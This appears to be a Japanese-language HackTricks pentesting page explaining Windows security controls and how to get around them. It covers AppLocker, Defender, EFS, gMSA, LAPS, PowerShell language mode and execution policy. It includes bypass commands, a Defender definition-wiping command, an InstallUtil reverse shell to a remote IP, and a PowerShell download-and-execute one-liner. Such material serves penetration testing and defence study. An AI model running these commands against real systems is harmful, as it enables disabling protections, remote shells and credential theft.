Windows Security Controls
Reading time: 18 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
AppLocker Policy
アプリケーションホワイトリストは、システム上で存在し実行されることが許可された承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。目的は、環境を有害なマルウェアや、組織の特定のビジネスニーズに合致しない未承認のソフトウェアから保護することです。
AppLocker は、Microsoftのアプリケーションホワイトリストソリューションであり、システム管理者にユーザーが実行できるアプリケーションとファイルを制御する機能を提供します。これは、実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージアプリ、およびパックされたアプリインストーラーに対して詳細な制御を提供します。
組織がcmd.exeとPowerShell.exeをブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、これらはすべて回避可能です。
Check
ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
このレジストリパスには、AppLockerによって適用された設定とポリシーが含まれており、システム上で強制されている現在のルールセットを確認する方法を提供します:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
バイパス
- AppLockerポリシーをバイパスするための便利な書き込み可能フォルダー:AppLockerが
C:\Windows\System32
またはC:\Windows
内の任意の実行を許可している場合、このバイパスに使用できる書き込み可能フォルダーがあります。
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- 一般的に信頼された"LOLBAS's"バイナリは、AppLockerを回避するのにも役立ちます。
- 不適切に書かれたルールも回避される可能性があります
- 例えば、
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
、どこにでも**allowed
というフォルダーを作成すれば、それが許可されます。 - 組織はしばしば**
%System32%\WindowsPowerShell\v1.0\powershell.exe
実行可能ファイルをブロックすることに焦点を当てますが、他の**PowerShell実行可能ファイルの場所を忘れがちです。例えば、%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
やPowerShell_ISE.exe
などです。 - DLLの強制は非常に稀に有効であり、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテストの量が原因です。したがって、DLLをバックドアとして使用することでAppLockerを回避するのに役立ちます。
- ReflectivePickやSharpPickを使用して、Powershellコードを任意のプロセスで実行し、AppLockerを回避できます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを確認してください。
資格情報の保存
セキュリティアカウントマネージャー (SAM)
ローカル資格情報はこのファイルに存在し、パスワードはハッシュ化されています。
ローカルセキュリティ機関 (LSA) - LSASS
資格情報(ハッシュ化されたもの)は、シングルサインオンの理由からこのサブシステムのメモリに保存されます。
LSAはローカルのセキュリティポリシー(パスワードポリシー、ユーザー権限など)、認証、アクセス トークンを管理します。
LSAは、SAMファイル内の提供された資格情報を確認し(ローカルログイン用)、ドメインユーザーを認証するためにドメインコントローラーと通信します。
資格情報はプロセスLSASS内に保存されます:Kerberosチケット、NTおよびLMのハッシュ、簡単に復号化できるパスワード。
LSAシークレット
LSAはディスクにいくつかの資格情報を保存することがあります:
- アクティブディレクトリのコンピュータアカウントのパスワード(到達不可能なドメインコントローラー)。
- Windowsサービスのアカウントのパスワード
- スケジュールされたタスクのパスワード
- その他(IISアプリケーションのパスワードなど...)
NTDS.dit
これはアクティブディレクトリのデータベースです。ドメインコントローラーにのみ存在します。
Defender
Microsoft Defenderは、Windows 10およびWindows 11、そしてWindows Serverのバージョンで利用可能なアンチウイルスです。一般的なペンテストツール(例:WinPEAS
)をブロックします。しかし、これらの保護を回避する方法があります。
チェック
Defenderのステータスを確認するには、PSコマンドレット**Get-MpComputerStatus
を実行できます(RealTimeProtectionEnabled
**の値を確認して、アクティブかどうかを確認します):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
列挙するには、次のコマンドを実行することもできます:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Encrypted File System (EFS)
EFSは、対称鍵であるファイル暗号化キー(FEK)を使用してファイルを暗号化します。この鍵はユーザーの公開鍵で暗号化され、暗号化されたファイルの$EFS 代替データストリーム内に保存されます。復号が必要な場合、ユーザーのデジタル証明書の対応する秘密鍵を使用して$EFSストリームからFEKを復号します。詳細はこちらで確認できます。
ユーザーの操作なしでの復号シナリオには以下が含まれます:
- ファイルやフォルダーがFAT32のような非EFSファイルシステムに移動されると、自動的に復号されます。
- SMB/CIFSプロトコルを介してネットワーク上で送信される暗号化ファイルは、送信前に復号されます。
この暗号化方法により、所有者は暗号化されたファイルに透過的にアクセスできます。ただし、所有者のパスワードを変更してログインするだけでは復号は許可されません。
重要なポイント:
- EFSは、ユーザーの公開鍵で暗号化された対称FEKを使用します。
- 復号にはユーザーの秘密鍵を使用してFEKにアクセスします。
- FAT32へのコピーやネットワーク送信など、特定の条件下で自動的に復号が行われます。
- 暗号化されたファイルは、追加の手順なしで所有者がアクセスできます。
EFS情報の確認
このサービスを使用したかどうかを確認するには、次のパスが存在するか確認します:C:\users\<username>\appdata\roaming\Microsoft\Protect
ファイルへのアクセス権を確認するには、cipher /c <file>
フォルダー内でcipher /e
およびcipher /d
を使用して、すべてのファイルを暗号化および復号することもできます。
EFSファイルの復号
権限のあるシステムであること
この方法では、被害者ユーザーがホスト内でプロセスを実行している必要があります。その場合、meterpreter
セッションを使用してユーザーのプロセスのトークンを偽装することができます(incognito
のimpersonate_token
)。または、ユーザーのプロセスにmigrate
することもできます。
ユーザーのパスワードを知っていること
howto ~ decrypt EFS files \xc2\xb7 gentilkiwi/mimikatz Wiki \xc2\xb7 GitHub
Group Managed Service Accounts (gMSA)
Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「パスワードは期限切れにならない」設定が有効なことが多いですが、gMSAはより安全で管理しやすいソリューションを提供します:
- 自動パスワード管理:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。
- 強化されたセキュリティ:これらのアカウントはロックアウトに対して免疫があり、対話的ログインには使用できないため、セキュリティが向上します。
- 複数ホストのサポート:gMSAは複数のホストで共有できるため、複数のサーバーで実行されるサービスに最適です。
- スケジュールされたタスクの実行能力:管理サービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
- 簡素化されたSPN管理:コンピュータのsAMaccountの詳細やDNS名に変更があった場合、システムは自動的にサービスプリンシパル名(SPN)を更新し、SPN管理を簡素化します。
gMSAのパスワードはLDAPプロパティ_msDS-ManagedPassword_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、MSDS-MANAGEDPASSWORD_BLOBとして知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証される必要があります。
このパスワードはGMSAPasswordReaderで読み取ることができます:
/GMSAPasswordReader --AccountName jkohler
また、gMSAのパスワードを読み取るためのNTLMリレー攻撃を実行する方法については、このウェブページを確認してください。
LAPS
ローカル管理者パスワードソリューション (LAPS)は、Microsoftからダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードはランダム化され、ユニークで、定期的に変更され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて認可されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。
PS 制約付き言語モード
PowerShell 制約付き言語モードは、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなど、PowerShellを効果的に使用するために必要な多くの機能を制限します。
確認
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
バイパス
#Easy bypass
Powershell -version 2
現在のWindowsでは、そのバイパスは機能しませんが、 PSByPassCLMを使用できます。
コンパイルするには 次のことが必要です **参照を追加 -> 参照 -> 参照 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
を追加し、プロジェクトを.Net4.5に変更します。
直接バイパス:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
リバースシェル:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
ReflectivePick または SharpPick を使用して、Powershell コードを任意のプロセスで実行し、制約モードをバイパスできます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode を確認してください。
PS 実行ポリシー
デフォルトでは、restricted に設定されています。このポリシーをバイパスする主な方法:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
More can be found here
Security Support Provider Interface (SSPI)
ユーザーを認証するために使用できるAPIです。
SSPIは、通信を希望する2台のマシンに適切なプロトコルを見つける役割を担います。これに対する推奨方法はKerberosです。その後、SSPIは使用される認証プロトコルを交渉します。これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、両方のマシンが同じものをサポートする必要があります。
Main SSPs
- Kerberos: 推奨されるもの
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 および NTLMv2: 互換性の理由
- %windir%\Windows\System32\msv1_0.dll
- Digest: WebサーバーおよびLDAP、MD5ハッシュ形式のパスワード
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSLおよびTLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: 使用するプロトコルを交渉するために使用されます(KerberosまたはNTLM、デフォルトはKerberos)
- %windir%\Windows\System32\lsasrv.dll
The negotiation could offer several methods or only one.
UAC - User Account Control
User Account Control (UAC) は、昇格された活動のための同意プロンプトを有効にする機能です。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。